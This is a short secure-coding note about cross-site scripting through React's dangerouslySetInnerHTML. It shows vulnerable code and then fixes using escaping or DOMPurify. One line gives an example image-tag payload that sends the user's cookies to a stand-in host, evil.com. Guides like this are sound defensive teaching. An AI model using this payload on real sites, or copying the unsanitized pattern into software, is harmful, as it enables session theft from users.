Context
dangerouslySetInnerHTML is a React feature that allows injecting raw HTML into the DOM. As the name suggests, it is dangerous if the injected content comes from an untrusted source (user input, external API, database).
Vulnerability
An attacker can inject malicious JavaScript through an input field whose content is then rendered with dangerouslySetInnerHTML:
// Vulnerable
function Comment({ content }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />;
}
If content contains <img src=x onerror="document.location='https://evil.com/?c='+document.cookie">, the user's cookies are exfiltrated.
Impact
- Session theft (cookies, tokens)
- Redirection to malicious sites
- Content modification (defacement)
- Arbitrary client-side code execution
Fix
Option 1: Don't use dangerouslySetInnerHTML
Prefer native React rendering which automatically escapes content:
function Comment({ content }) {
return <div>{content}</div>;
}
Option 2: Sanitize HTML with DOMPurify
If you need to display rich HTML, use a sanitization library:
import DOMPurify from "dompurify";
function Comment({ content }) {
const clean = DOMPurify.sanitize(content);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Recommendation
Audit your codebase for every occurrence of dangerouslySetInnerHTML and verify that the content is either trusted (hardcoded) or sanitized before injection.